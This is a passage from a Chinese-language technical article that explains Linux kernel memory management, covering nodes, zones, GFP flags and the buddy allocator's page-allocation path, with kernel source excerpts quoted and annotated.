struct per_cpu_nodestat __percpu *per_cpu_nodestats;
atomic_long_t vm_stat[NR_VM_NODE_STAT_ITEMS];
} pg_data_t;
而每个节点又可以划分为数个内存管理区——ZONE，与之相关的字段如下：
struct zone node_zones[MAX_NR_ZONES]; //内存管理区描述符数组
struct zonelist node_zonelists[MAX_ZONELISTS]; //引用所有节点中内存管理区
int nr_zones; //当前节点中内存管理区数量
与当前节点相关字段：
unsigned long node_start_pfn; //节点第一个页框的PFN
unsigned long node_present_pages; /* total number of physical pages */
unsigned long node_spanned_pages; /* total size of physical page
range, including holes */
int node_id; //节点标识符
与kswapd内核线程相关字段：
wait_queue_head_t kswapd_wait;
wait_queue_head_t pfmemalloc_wait;
struct task_struct *kswapd; /* Protected by
mem_hotplug_begin/end() */
int kswapd_order;
enum zone_type kswapd_highest_zoneidx;
int kswapd_failures; /* Number of 'reclaimed == 0' runs */
### 0x02 Zone
内存管理区描述符定义如下：
struct zone {
/* Read-mostly fields */
/* zone watermarks, access with *_wmark_pages(zone) macros */
unsigned long _watermark[NR_WMARK];
unsigned long watermark_boost;
unsigned long nr_reserved_highatomic;
/*
* We don't know if the memory that we're going to allocate will be
* freeable or/and it will be released eventually, so to avoid totally
* wasting several GB of ram we must reserve some of the lower zone
* memory (otherwise we risk to run OOM on the lower zones despite
* there being tons of freeable ram on the higher zones). This array is
* recalculated at runtime if the sysctl_lowmem_reserve_ratio sysctl
* changes.
*/
long lowmem_reserve[MAX_NR_ZONES];
#ifdef CONFIG_NUMA
int node;
#endif
struct pglist_data *zone_pgdat;
struct per_cpu_pageset __percpu *pageset;
/*
* the high and batch values are copied to individual pagesets for
* faster access
*/
int pageset_high;
int pageset_batch;
#ifndef CONFIG_SPARSEMEM
/*
* Flags for a pageblock_nr_pages block. See pageblock-flags.h.
* In SPARSEMEM, this map is stored in struct mem_section
*/
unsigned long *pageblock_flags;
#endif /* CONFIG_SPARSEMEM */
/* zone_start_pfn == zone_start_paddr >> PAGE_SHIFT */
unsigned long zone_start_pfn;
/*
* spanned_pages is the total pages spanned by the zone, including
* holes, which is calculated as:
* spanned_pages = zone_end_pfn - zone_start_pfn;
*
* present_pages is physical pages existing within the zone, which
* is calculated as:
* present_pages = spanned_pages - absent_pages(pages in holes);
*
* managed_pages is present pages managed by the buddy system, which
* is calculated as (reserved_pages includes pages allocated by the
* bootmem allocator):
* managed_pages = present_pages - reserved_pages;
*
* So present_pages may be used by memory hotplug or memory power
* management logic to figure out unmanaged pages by checking
* (present_pages - managed_pages). And managed_pages should be used
* by page allocator and vm scanner to calculate all kinds of watermarks
* and thresholds.
*
* Locking rules:
*
* zone_start_pfn and spanned_pages are protected by span_seqlock.
* It is a seqlock because it has to be read outside of zone->lock,
* and it is done in the main allocator path. But, it is written
* quite infrequently.
*
* The span_seq lock is declared along with zone->lock because it is
* frequently read in proximity to zone->lock. It's good to
* give them a chance of being in the same cacheline.
*
* Write access to present_pages at runtime should be protected by
* mem_hotplug_begin/end(). Any reader who can't tolerant drift of
* present_pages should get_online_mems() to get a stable value.
*/
atomic_long_t managed_pages;
unsigned long spanned_pages;
unsigned long present_pages;
const char *name;
#ifdef CONFIG_MEMORY_ISOLATION
/*
* Number of isolated pageblock. It is used to solve incorrect
* freepage counting problem due to racy retrieving migratetype
* of pageblock. Protected by zone->lock.
*/
unsigned long nr_isolate_pageblock;
#endif
#ifdef CONFIG_MEMORY_HOTPLUG
/* see spanned/present_pages for more description */
seqlock_t span_seqlock;
#endif
int initialized;
/* Write-intensive fields used from the page allocator */
ZONE_PADDING(_pad1_)
/* free areas of different sizes */
struct free_area free_area[MAX_ORDER];
/* zone flags, see below */
unsigned long flags;
/* Primarily protects free_area */
spinlock_t lock;
/* Write-intensive fields used by compaction and vmstats. */
ZONE_PADDING(_pad2_)
/*
* When free pages are below this point, additional steps are taken
* when reading the number of free pages to avoid per-cpu counter
* drift allowing watermarks to be breached
*/
unsigned long percpu_drift_mark;
#if defined CONFIG_COMPACTION || defined CONFIG_CMA
/* pfn where compaction free scanner should start */
unsigned long compact_cached_free_pfn;
/* pfn where compaction migration scanner should start */
unsigned long compact_cached_migrate_pfn[ASYNC_AND_SYNC];
unsigned long compact_init_migrate_pfn;
unsigned long compact_init_free_pfn;
#endif
#ifdef CONFIG_COMPACTION
/*
* On compaction failure, 1<<compact_defer_shift compactions
* are skipped before trying again. The number attempted since
* last failure is tracked with compact_considered.
* compact_order_failed is the minimum compaction failed order.
*/
unsigned int compact_considered;
unsigned int compact_defer_shift;
int compact_order_failed;
#endif
#if defined CONFIG_COMPACTION || defined CONFIG_CMA
/* Set to true when the PG_migrate_skip bits should be cleared */
bool compact_blockskip_flush;
#endif
bool contiguous;
ZONE_PADDING(_pad3_)
/* Zone statistics */
atomic_long_t vm_stat[NR_VM_ZONE_STAT_ITEMS];
atomic_long_t vm_numa_stat[NR_VM_NUMA_STAT_ITEMS];
} ____cacheline_internodealigned_in_smp;
内存管理区第一个页框由`zone_start_pfn`字段标识，内存管理区名称保存在`name`字段中——不同类型其名称不同，类型定义如下：
enum zone_type {
#ifdef CONFIG_ZONE_DMA
ZONE_DMA,
#endif
#ifdef CONFIG_ZONE_DMA32
ZONE_DMA32,
#endif
ZONE_NORMAL,
#ifdef CONFIG_HIGHMEM
ZONE_HIGHMEM,
#endif
ZONE_MOVABLE,
#ifdef CONFIG_ZONE_DEVICE
ZONE_DEVICE,
#endif
__MAX_NR_ZONES
};
关于`ZONE_HIGHMEM`，值得说明的是在x86-64体系中没有该类型内存管理区。而在x86体系中存在该类型内存管理区，其原因是高端内存无法永久映射到内核地址空间中(关于高端内存这里不作展开，可阅读[Linux内核高端内存](https://ilinuxkernel.com/?p=1013)一文)。注意，
**Linux内核对内存管理区的划分是针对物理内存空间，而非虚拟内存空间** 。可通过`/proc/zoneinfo`文件查看相关信息：
`free_area`字段标识内存管理区中不同大小空闲页框块，用于伙伴系统。关于`managed_pages`，`spanned_pages`，`present_pages`三个字段在注释中已经解释，这里不再赘述。每个内存管理区的`zone_end_pfn`可通过如下函数计算：
static inline unsigned long zone_end_pfn(const struct zone *zone)
{
return zone->zone_start_pfn + zone->spanned_pages;
}
### 0x03 Page
每个页框由`page`类型描述符定义，该结构定义位于`include/linux/mm_types.h`中(代码量稍大，读者可自行查看)：
`flags`字段可定义值见`include/linux/page-flags.h`文件，其布局不同形式由`include/linux/page-flags-layout.h`定义：
`_mapcount`字段标识该页框被页表引用次数。
## 三、伙伴系统
在`zone`描述符中，`free_area`字段用来保存该内存管理区内空闲页框，其定义如下：
/* free areas of different sizes */
struct free_area free_area[MAX_ORDER];
`free_area`数组中每个元素保存有相应2的指数大小空闲页框块，`MAX_ORDER`是2的指数最大值加1——通常定义为11：
#ifndef CONFIG_FORCE_MAX_ZONEORDER
#define MAX_ORDER 11
#else
#define MAX_ORDER CONFIG_FORCE_MAX_ZONEORDER
#endif
`free_area`类型定义如下：
struct free_area {
struct list_head free_list[MIGRATE_TYPES];
unsigned long nr_free;
};
其中`free_list`定义为不同类型空闲页框块的链表，`nr_free`是空闲页框块数量。
### 0x01 alloc_pages
启用CONFIG_NUMA选项，该函数调用关系如下：
可以看到关键函数是`__alloc_pages_nodemask`。上面调用关系是启用CONFIG_NUMA之后的：
#ifdef CONFIG_NUMA
extern struct page *alloc_pages_current(gfp_t gfp_mask, unsigned order);
static inline struct page *
alloc_pages(gfp_t gfp_mask, unsigned int order)
{
return alloc_pages_current(gfp_mask, order);
}
extern struct page *alloc_pages_vma(gfp_t gfp_mask, int order,
struct vm_area_struct *vma, unsigned long addr,
int node, bool hugepage);
#define alloc_hugepage_vma(gfp_mask, vma, addr, order) \
alloc_pages_vma(gfp_mask, order, vma, addr, numa_node_id(), true)
#else
static inline struct page *alloc_pages(gfp_t gfp_mask, unsigned int order)
{
return alloc_pages_node(numa_node_id(), gfp_mask, order);
}
若未启用该选项，调用关系如下：
alloc_pages
->alloc_pages_node
->__alloc_pages_node
->__alloc_pages
->__alloc_pages_nodemask
**0x01.1 alloc_pages_current**
`alloc_pages_current`函数定义如下：
struct page *alloc_pages_current(gfp_t gfp, unsigned order)
{
struct mempolicy *pol = &default_policy;
struct page *page;
if (!in_interrupt() && !(gfp & __GFP_THISNODE))
pol = get_task_policy(current);
/*
* No reference counting needed for current->mempolicy
* nor system default_policy
*/
if (pol->mode == MPOL_INTERLEAVE)
page = alloc_page_interleave(gfp, order, interleave_nodes(pol));
else
page = __alloc_pages_nodemask(gfp, order,
policy_node(gfp, pol, numa_node_id()),
policy_nodemask(gfp, pol));
return page;
}
参数`gfp`定义了请求页框标志值，`order`定义了请求页框大小——2<sup>order</sup>个连续页框。标志值定义位于gfp.h文件：
#define GFP_ATOMIC (__GFP_HIGH|__GFP_ATOMIC|__GFP_KSWAPD_RECLAIM)
#define GFP_KERNEL (__GFP_RECLAIM | __GFP_IO | __GFP_FS)
#define GFP_KERNEL_ACCOUNT (GFP_KERNEL | __GFP_ACCOUNT)
#define GFP_NOWAIT (__GFP_KSWAPD_RECLAIM)
#define GFP_NOIO (__GFP_RECLAIM)
#define GFP_NOFS (__GFP_RECLAIM | __GFP_IO)
#define GFP_USER (__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL)
#define GFP_DMA __GFP_DMA
#define GFP_DMA32 __GFP_DMA32
#define GFP_HIGHUSER (GFP_USER | __GFP_HIGHMEM)
#define GFP_HIGHUSER_MOVABLE (GFP_HIGHUSER | __GFP_MOVABLE)
#define GFP_TRANSHUGE_LIGHT ((GFP_HIGHUSER_MOVABLE | __GFP_COMP | \
__GFP_NOMEMALLOC | __GFP_NOWARN) & ~__GFP_RECLAIM)
#define GFP_TRANSHUGE (GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM)
/* Convert GFP flags to their corresponding migrate type */
#define GFP_MOVABLE_MASK (__GFP_RECLAIMABLE|__GFP_MOVABLE)
#define GFP_MOVABLE_SHIFT 3
`alloc_pages_current`函数首先获取默认mempolicy，该结构mode字段值可以有以下几种：
enum {
MPOL_DEFAULT,
MPOL_PREFERRED,
MPOL_BIND,
MPOL_INTERLEAVE,
MPOL_LOCAL,
MPOL_MAX, /* always last member of enum */
};
不同取值含义可参阅[set_mempolicy(2) — Linux manual page](https://man7.org/linux/man-pages/man2/set_mempolicy.2.html)。`default_policy`中`mode`定义为`MPOL_PREFERRED`：
static struct mempolicy default_policy = {
.refcnt = ATOMIC_INIT(1), /* never free it */
.mode = MPOL_PREFERRED,
.flags = MPOL_F_LOCAL,
};
若`gfp`标志中置__GFP_THISNODE位或位于中断时采用默认mempolicy，下面将以此种情况进行展开。`policy_node`根据mempolicy返回Node
id，`policy_nodemask`会返回NULL：
nodemask_t *policy_nodemask(gfp_t gfp, struct mempolicy *policy)
{
/* Lower zones don't get a nodemask applied for MPOL_BIND */
if (unlikely(policy->mode == MPOL_BIND) &&
apply_policy_zone(policy, gfp_zone(gfp)) &&
cpuset_nodemask_valid_mems_allowed(&policy->v.nodes))
return &policy->v.nodes;
return NULL;
}
用一张图概括上文提及函数及下文将阐述函数的调用关系：
**0x01.2 __alloc_pages_nodemask**
函数定义如下：
/*
* This is the 'heart' of the zoned buddy allocator.
*/
struct page *
__alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order, int preferred_nid,
nodemask_t *nodemask)
{
struct page *page;
unsigned int alloc_flags = ALLOC_WMARK_LOW;
gfp_t alloc_mask; /* The gfp_t that was actually used for allocation */
struct alloc_context ac = { };
/*
* There are several places where we assume that the order value is sane
* so bail out early if the request is out of bound.
*/
if (unlikely(order >= MAX_ORDER)) {
WARN_ON_ONCE(!(gfp_mask & __GFP_NOWARN));
return NULL;
}
gfp_mask &= gfp_allowed_mask;
alloc_mask = gfp_mask;
if (!prepare_alloc_pages(gfp_mask, order, preferred_nid, nodemask, &ac, &alloc_mask, &alloc_flags))
return NULL;
/*
* Forbid the first pass from falling back to types that fragment
* memory until all local zones are considered.
*/
alloc_flags |= alloc_flags_nofragment(ac.preferred_zoneref->zone, gfp_mask);
/* First allocation attempt */
page = get_page_from_freelist(alloc_mask, order, alloc_flags, &ac);
if (likely(page))
goto out;
/*
* Apply scoped allocation constraints. This is mainly about GFP_NOFS
* resp. GFP_NOIO which has to be inherited for all allocation requests
* from a particular context which has been marked by
* memalloc_no{fs,io}_{save,restore}.
*/
alloc_mask = current_gfp_context(gfp_mask);
ac.spread_dirty_pages = false;
/*
* Restore the original nodemask if it was potentially replaced with
* &cpuset_current_mems_allowed to optimize the fast-path attempt.
*/
ac.nodemask = nodemask;
page = __alloc_pages_slowpath(alloc_mask, order, &ac);
out:
if (memcg_kmem_enabled() && (gfp_mask & __GFP_ACCOUNT) && page &&
unlikely(__memcg_kmem_charge_page(page, gfp_mask, order) != 0)) {
__free_pages(page, order);
page = NULL;
}
trace_mm_page_alloc(page, order, alloc_mask, ac.migratetype);
return page;
}
EXPORT_SYMBOL(__alloc_pages_nodemask);
首先是判断`order`大小是否超过MAX_ORDER：
if (unlikely(order >= MAX_ORDER)) {
WARN_ON_ONCE(!(gfp_mask & __GFP_NOWARN));
return NULL;
}
**a. prepare_alloc_pages**
之后执行`prepare_alloc_pages`，该函数主要是初始化`ac`变量——类型为`alloc_context`结构体(该结构及其字段含义见注释，不再赘述)：
/*
* Structure for holding the mostly immutable allocation parameters passed
* between functions involved in allocations, including the alloc_pages*
* family of functions.
*
* nodemask, migratetype and highest_zoneidx are initialized only once in
* __alloc_pages_nodemask() and then never change.
*
* zonelist, preferred_zone and highest_zoneidx are set first in
* __alloc_pages_nodemask() for the fast path, and might be later changed
* in __alloc_pages_slowpath(). All other functions pass the whole structure
* by a const pointer.
*/
struct alloc_context {
struct zonelist *zonelist;
nodemask_t *nodemask;
struct zoneref *preferred_zoneref;
int migratetype;
/*
* highest_zoneidx represents highest usable zone index of
* the allocation request. Due to the nature of the zone,
* memory on lower zone than the highest_zoneidx will be
* protected by lowmem_reserve[highest_zoneidx].
*
* highest_zoneidx is also used by reclaim/compaction to limit
* the target zone since higher zone than this index cannot be
* usable for this allocation request.
*/
enum zone_type highest_zoneidx;
bool spread_dirty_pages;
};
函数执行操作如下：
static inline bool prepare_alloc_pages(gfp_t gfp_mask, unsigned int order,
int preferred_nid, nodemask_t *nodemask,
struct alloc_context *ac, gfp_t *alloc_mask,
unsigned int *alloc_flags)
{
ac->highest_zoneidx = gfp_zone(gfp_mask);
ac->zonelist = node_zonelist(preferred_nid, gfp_mask);
ac->nodemask = nodemask;
ac->migratetype = gfp_migratetype(gfp_mask);
if (cpusets_enabled()) {
*alloc_mask |= __GFP_HARDWALL;
/*
* When we are in the interrupt context, it is irrelevant
* to the current task context. It means that any node ok.
*/
if (!in_interrupt() && !ac->nodemask)
ac->nodemask = &cpuset_current_mems_allowed;
else
*alloc_flags |= ALLOC_CPUSET;
}
fs_reclaim_acquire(gfp_mask);
fs_reclaim_release(gfp_mask);
might_sleep_if(gfp_mask & __GFP_DIRECT_RECLAIM);
if (should_fail_alloc_page(gfp_mask, order))
return false;
*alloc_flags = current_alloc_flags(gfp_mask, *alloc_flags);
/* Dirty zone balancing only done in the fast path */
ac->spread_dirty_pages = (gfp_mask & __GFP_WRITE);
/*
* The preferred zone is used for statistics but crucially it is
* also used as the starting point for the zonelist iterator. It
* may get reset for allocations that ignore memory policies.
*/
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->highest_zoneidx, ac->nodemask);
return true;
}
其中`gfp_zone`函数根据`gfp_mask`计算出Zone(该函数返回值类型定义见0x01.2节)：
static inline enum zone_type gfp_zone(gfp_t flags)
{
enum zone_type z;
int bit = (__force int) (flags & GFP_ZONEMASK);
z = (GFP_ZONE_TABLE >> (bit * GFP_ZONES_SHIFT)) &
((1 << GFP_ZONES_SHIFT) - 1);
VM_BUG_ON((GFP_ZONE_BAD >> bit) & 1);
return z;
}
其中`GFP_ZONEMASK`定义如下——即0x0F(`gfp_mask`低四位表示进行分配的Zone)：
#define ___GFP_DMA 0x01u
#define ___GFP_HIGHMEM 0x02u
#define ___GFP_DMA32 0x04u
#define ___GFP_MOVABLE 0x08u
......
#define __GFP_DMA ((__force gfp_t)___GFP_DMA)
#define __GFP_HIGHMEM ((__force gfp_t)___GFP_HIGHMEM)
#define __GFP_DMA32 ((__force gfp_t)___GFP_DMA32)
#define __GFP_MOVABLE ((__force gfp_t)___GFP_MOVABLE) /* ZONE_MOVABLE allowed */
#define GFP_ZONEMASK (__GFP_DMA|__GFP_HIGHMEM|__GFP_DMA32|__GFP_MOVABLE)
不同位置1结果如下：
* bit result
* =================
* 0x0 => NORMAL
* 0x1 => DMA or NORMAL
* 0x2 => HIGHMEM or NORMAL
* 0x3 => BAD (DMA+HIGHMEM)
* 0x4 => DMA32 or NORMAL
* 0x5 => BAD (DMA+DMA32)
* 0x6 => BAD (HIGHMEM+DMA32)
* 0x7 => BAD (HIGHMEM+DMA32+DMA)
* 0x8 => NORMAL (MOVABLE+0)
* 0x9 => DMA or NORMAL (MOVABLE+DMA)
* 0xa => MOVABLE (Movable is valid only if HIGHMEM is set too)
* 0xb => BAD (MOVABLE+HIGHMEM+DMA)
* 0xc => DMA32 or NORMAL (MOVABLE+DMA32)
* 0xd => BAD (MOVABLE+DMA32+DMA)
* 0xe => BAD (MOVABLE+DMA32+HIGHMEM)
* 0xf => BAD (MOVABLE+DMA32+HIGHMEM+DMA)
`GFP_ZONE_TABLE`及`GFP_ZONES_SHIFT`定义如下：
#if MAX_NR_ZONES < 2
#define ZONES_SHIFT 0
#elif MAX_NR_ZONES <= 2
#define ZONES_SHIFT 1
#elif MAX_NR_ZONES <= 4
#define ZONES_SHIFT 2
#elif MAX_NR_ZONES <= 8
#define ZONES_SHIFT 3
#else
#error ZONES_SHIFT -- too many zones configured adjust calculation
#endif
......
#if defined(CONFIG_ZONE_DEVICE) && (MAX_NR_ZONES-1) <= 4
/* ZONE_DEVICE is not a valid GFP zone specifier */
#define GFP_ZONES_SHIFT 2
#else
#define GFP_ZONES_SHIFT ZONES_SHIFT
#endif
......
#define GFP_ZONE_TABLE ( \
(ZONE_NORMAL << 0 * GFP_ZONES_SHIFT) \
| (OPT_ZONE_DMA << ___GFP_DMA * GFP_ZONES_SHIFT) \
| (OPT_ZONE_HIGHMEM << ___GFP_HIGHMEM * GFP_ZONES_SHIFT) \
| (OPT_ZONE_DMA32 << ___GFP_DMA32 * GFP_ZONES_SHIFT) \
| (ZONE_NORMAL << ___GFP_MOVABLE * GFP_ZONES_SHIFT) \
| (OPT_ZONE_DMA << (___GFP_MOVABLE | ___GFP_DMA) * GFP_ZONES_SHIFT) \
| (ZONE_MOVABLE << (___GFP_MOVABLE | ___GFP_HIGHMEM) * GFP_ZONES_SHIFT)\
| (OPT_ZONE_DMA32 << (___GFP_MOVABLE | ___GFP_DMA32) * GFP_ZONES_SHIFT)\
)
`node_zonelist`函数用于获取对应Node的`zonelists`。0x01.1节在介绍Node时，其中`pglist_data`结构包含有`node_zonelists`字段：
/*
* node_zonelists contains references to all zones in all nodes.
* Generally the first zones will be references to this node's
* node_zones.
*/
struct zonelist node_zonelists[MAX_ZONELISTS];
`MAX_ZONELISTS`值取决是否启用CONFIG_NUMA选项：
enum {
ZONELIST_FALLBACK, /* zonelist with fallback */
#ifdef CONFIG_NUMA
/*
* The NUMA zonelists are doubled because we need zonelists that
* restrict the allocations to a single node for __GFP_THISNODE.
*/
ZONELIST_NOFALLBACK, /* zonelist without fallback (__GFP_THISNODE) */
#endif
MAX_ZONELISTS
};
`zonelist`结构定义如下：
/* Maximum number of zones on a zonelist */
#define MAX_ZONES_PER_ZONELIST (MAX_NUMNODES * MAX_NR_ZONES)
......
struct zoneref {
struct zone *zone; /* Pointer to actual zone */
int zone_idx; /* zone_idx(zoneref->zone) */
};
/*
* One allocation request operates on a zonelist. A zonelist
* is a list of zones, the first one is the 'goal' of the
* allocation, the other zones are fallback zones, in decreasing
* priority.
*
* To speed the reading of the zonelist, the zonerefs contain the zone index
* of the entry being read. Helper functions to access information given
* a struct zoneref are
*
* zonelist_zone() - Return the struct zone * for an entry in _zonerefs
* zonelist_zone_idx() - Return the index of the zone for an entry
* zonelist_node_idx() - Return the index of the node for an entry
*/
struct zonelist {
struct zoneref _zonerefs[MAX_ZONES_PER_ZONELIST + 1];
};
`node_zonelist`函数定义如下：
#define ___GFP_THISNODE 0x200000u
......
static inline int gfp_zonelist(gfp_t flags)
{
#ifdef CONFIG_NUMA
if (unlikely(flags & __GFP_THISNODE))
return ZONELIST_NOFALLBACK;
#endif
return ZONELIST_FALLBACK;
}
......
static inline struct zonelist *node_zonelist(int nid, gfp_t flags)
{
return NODE_DATA(nid)->node_zonelists + gfp_zonelist(flags);
}
`gfp_migratetype`函数根据`gfp_flags`返回内存迁移类型，内存迁移用以缓解内存碎片，可参阅[Linux Kernel vs.
Memory Fragmentation (Part I)](https://en.pingcap.com/blog/linux-kernel-vs-memory-fragmentation-1)：
#define ___GFP_RECLAIMABLE 0x10u
......
#define __GFP_RECLAIMABLE ((__force gfp_t)___GFP_RECLAIMABLE)
......
/* Convert GFP flags to their corresponding migrate type */
#define GFP_MOVABLE_MASK (__GFP_RECLAIMABLE|__GFP_MOVABLE)
#define GFP_MOVABLE_SHIFT 3
static inline int gfp_migratetype(const gfp_t gfp_flags)
{
VM_WARN_ON((gfp_flags & GFP_MOVABLE_MASK) == GFP_MOVABLE_MASK);
BUILD_BUG_ON((1UL << GFP_MOVABLE_SHIFT) != ___GFP_MOVABLE);
BUILD_BUG_ON((___GFP_MOVABLE >> GFP_MOVABLE_SHIFT) != MIGRATE_MOVABLE);
if (unlikely(page_group_by_mobility_disabled))
return MIGRATE_UNMOVABLE;
/* Group based on mobility */
return (gfp_flags & GFP_MOVABLE_MASK) >> GFP_MOVABLE_SHIFT;
}
下面代码块执行与否取决于是否启用cpuset功能(CONFIG_CPUSETS配置选项)：
if (cpusets_enabled()) {
*alloc_mask |= __GFP_HARDWALL;
/*
* When we are in the interrupt context, it is irrelevant
* to the current task context. It means that any node ok.
*/
if (!in_interrupt() && !ac->nodemask)
ac->nodemask = &cpuset_current_mems_allowed;
else
*alloc_flags |= ALLOC_CPUSET;
}
若未配置CONFIG_FAIL_PAGE_ALLOC选项，`should_fail_alloc_page`直接返回false：
#ifdef CONFIG_FAIL_PAGE_ALLOC
......
#else /* CONFIG_FAIL_PAGE_ALLOC */
static inline bool __should_fail_alloc_page(gfp_t gfp_mask, unsigned int order)
{
return false;
}
#endif /* CONFIG_FAIL_PAGE_ALLOC */
noinline bool should_fail_alloc_page(gfp_t gfp_mask, unsigned int order)
{
return __should_fail_alloc_page(gfp_mask, order);
}
若未配置CONFIG_CMA选项，`current_alloc_flags`直接返回`alloc_flags`：
static inline unsigned int current_alloc_flags(gfp_t gfp_mask,
unsigned int alloc_flags)
{
#ifdef CONFIG_CMA
unsigned int pflags = current->flags;
if (!(pflags & PF_MEMALLOC_NOCMA) &&
gfp_migratetype(gfp_mask) == MIGRATE_MOVABLE)
alloc_flags |= ALLOC_CMA;
#endif
return alloc_flags;
}
`first_zones_zonelist`函数定义如下，其返回不大于`highest_zoneidx`的第一个Zone：
/* Returns the next zone at or below highest_zoneidx in a zonelist */
struct zoneref *__next_zones_zonelist(struct zoneref *z,
enum zone_type highest_zoneidx,
nodemask_t *nodes)
{
/*
* Find the next suitable zone to use for the allocation.
* Only filter based on nodemask if it's set
*/
if (unlikely(nodes == NULL))
while (zonelist_zone_idx(z) > highest_zoneidx)
z++;
else
while (zonelist_zone_idx(z) > highest_zoneidx ||
(z->zone && !zref_in_nodemask(z, nodes)))
z++;
return z;
}
......
static __always_inline struct zoneref *next_zones_zonelist(struct zoneref *z,
enum zone_type highest_zoneidx,
nodemask_t *nodes)
{
if (likely(!nodes && zonelist_zone_idx(z) <= highest_zoneidx))
return z;
return __next_zones_zonelist(z, highest_zoneidx, nodes);
}
......
static inline struct zoneref *first_zones_zonelist(struct zonelist *zonelist,
enum zone_type highest_zoneidx,
nodemask_t *nodes)
{
return next_zones_zonelist(zonelist->_zonerefs,
highest_zoneidx, nodes);
}
**b. get_page_from_freelist**
准备工作完成后，下面执行`get_page_from_freelist`函数——即fastpath：
/*
* get_page_from_freelist goes through the zonelist trying to allocate
* a page.
*/
static struct page *
get_page_from_freelist(gfp_t gfp_mask, unsigned int order, int alloc_flags,
const struct alloc_context *ac)
{
struct zoneref *z;
struct zone *zone;
struct pglist_data *last_pgdat_dirty_limit = NULL;
bool no_fallback;
retry:
/*
* Scan zonelist, looking for a zone with enough free.
* See also __cpuset_node_allowed() comment in kernel/cpuset.c.
*/
no_fallback = alloc_flags & ALLOC_NOFRAGMENT;
z = ac->preferred_zoneref;
for_next_zone_zonelist_nodemask(zone, z, ac->highest_zoneidx,
ac->nodemask) {
struct page *page;
unsigned long mark;
if (cpusets_enabled() &&
(alloc_flags & ALLOC_CPUSET) &&
!__cpuset_zone_allowed(zone, gfp_mask))
continue;
if (ac->spread_dirty_pages) {
if (last_pgdat_dirty_limit == zone->zone_pgdat)
continue;
if (!node_dirty_ok(zone->zone_pgdat)) {
last_pgdat_dirty_limit = zone->zone_pgdat;
continue;
}
}
if (no_fallback && nr_online_nodes > 1 &&
zone != ac->preferred_zoneref->zone) {
int local_nid;
/*
* If moving to a remote node, retry but allow
* fragmenting fallbacks. Locality is more important
* than fragmentation avoidance.
*/
local_nid = zone_to_nid(ac->preferred_zoneref->zone);
if (zone_to_nid(zone) != local_nid) {
alloc_flags &= ~ALLOC_NOFRAGMENT;
goto retry;
}
}
mark = wmark_pages(zone, alloc_flags & ALLOC_WMARK_MASK);
if (!zone_watermark_fast(zone, order, mark,
ac->highest_zoneidx, alloc_flags,
gfp_mask)) {
int ret;
#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT
/*
* Watermark failed for this zone, but see if we can
* grow this zone if it contains deferred pages.
*/
if (static_branch_unlikely(&deferred_pages)) {
if (_deferred_grow_zone(zone, order))
goto try_this_zone;
}
#endif
/* Checked here to keep the fast path fast */
BUILD_BUG_ON(ALLOC_NO_WATERMARKS < NR_WMARK);
if (alloc_flags & ALLOC_NO_WATERMARKS)
goto try_this_zone;
if (node_reclaim_mode == 0 ||
!zone_allows_reclaim(ac->preferred_zoneref->zone, zone))
continue;
ret = node_reclaim(zone->zone_pgdat, gfp_mask, order);
switch (ret) {
case NODE_RECLAIM_NOSCAN:
/* did not scan */
continue;
case NODE_RECLAIM_FULL:
/* scanned but unreclaimable */
continue;
default:
/* did we reclaim enough */
if (zone_watermark_ok(zone, order, mark,
ac->highest_zoneidx, alloc_flags))
goto try_this_zone;
continue;
}
}
try_this_zone:
page = rmqueue(ac->preferred_zoneref->zone, zone, order,
gfp_mask, alloc_flags, ac->migratetype);
if (page) {
prep_new_page(page, order, gfp_mask, alloc_flags);
/*
* If this is a high-order atomic allocation then check
* if the pageblock should be reserved for the future
*/
if (unlikely(order && (alloc_flags & ALLOC_HARDER)))
reserve_highatomic_pageblock(page, zone, order);
return page;
} else {
#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT
/* Try again if zone has deferred pages */
if (static_branch_unlikely(&deferred_pages)) {
if (_deferred_grow_zone(zone, order))
goto try_this_zone;
}
#endif
}
}
/*
* It's possible on a UMA machine to get through all zones that are
* fragmented. If avoiding fragmentation, reset and try again.
*/
if (no_fallback) {
alloc_flags &= ~ALLOC_NOFRAGMENT;
goto retry;
}
return NULL;
}
`for_next_zone_zonelist_nodemask`宏展开如下：
#define for_next_zone_zonelist_nodemask(zone, z, highidx, nodemask) \
for (zone = z->zone; \
zone; \
z = next_zones_zonelist(++z, highidx, nodemask), \
zone = zonelist_zone(z))
依次执行`cpusets_enabled`、`alloc_flags &
ALLOC_CPUSET`、`__cpuset_zone_allowed`与`last_pgdat_dirty_limit ==
zone->zone_pgdat`、`node_dirty_ok`及`zone_watermark_fast`函数进行检查，如未通过检查则进行下一次循环。关于watermark，在此暂不作展开。若`alloc_flags`置ALLOC_NO_WATERMARKS位或是`zone_watermark_ok`返回True，直接跳转到try_this_zone——伙伴系统核心部分：
/*
* Allocate a page from the given zone. Use pcplists for order-0 allocations.
*/
static inline
struct page *rmqueue(struct zone *preferred_zone,
struct zone *zone, unsigned int order,
gfp_t gfp_flags, unsigned int alloc_flags,
int migratetype)
{
unsigned long flags;
struct page *page;
if (likely(order == 0)) {
/*
* MIGRATE_MOVABLE pcplist could have the pages on CMA area and
* we need to skip it when CMA area isn't allowed.
*/
if (!IS_ENABLED(CONFIG_CMA) || alloc_flags & ALLOC_CMA ||
migratetype != MIGRATE_MOVABLE) {
page = rmqueue_pcplist(preferred_zone, zone, gfp_flags,
migratetype, alloc_flags);
goto out;
}
}
/*
* We most definitely don't want callers attempting to
* allocate greater than order-1 page units with __GFP_NOFAIL.
*/
WARN_ON_ONCE((gfp_flags & __GFP_NOFAIL) && (order > 1));
spin_lock_irqsave(&zone->lock, flags);
do {
page = NULL;
/*
* order-0 request can reach here when the pcplist is skipped
* due to non-CMA allocation context. HIGHATOMIC area is
* reserved for high-order atomic allocation, so order-0
* request should skip it.
*/
if (order > 0 && alloc_flags & ALLOC_HARDER) {
page = __rmqueue_smallest(zone, order, MIGRATE_HIGHATOMIC);
if (page)
trace_mm_page_alloc_zone_locked(page, order, migratetype);
}
if (!page)
page = __rmqueue(zone, order, migratetype, alloc_flags);
} while (page && check_new_pages(page, order));
spin_unlock(&zone->lock);
if (!page)
goto failed;
__mod_zone_freepage_state(zone, -(1 << order),
get_pcppage_migratetype(page));
__count_zid_vm_events(PGALLOC, page_zonenum(page), 1 << order);
zone_statistics(preferred_zone, zone);
local_irq_restore(flags);
out:
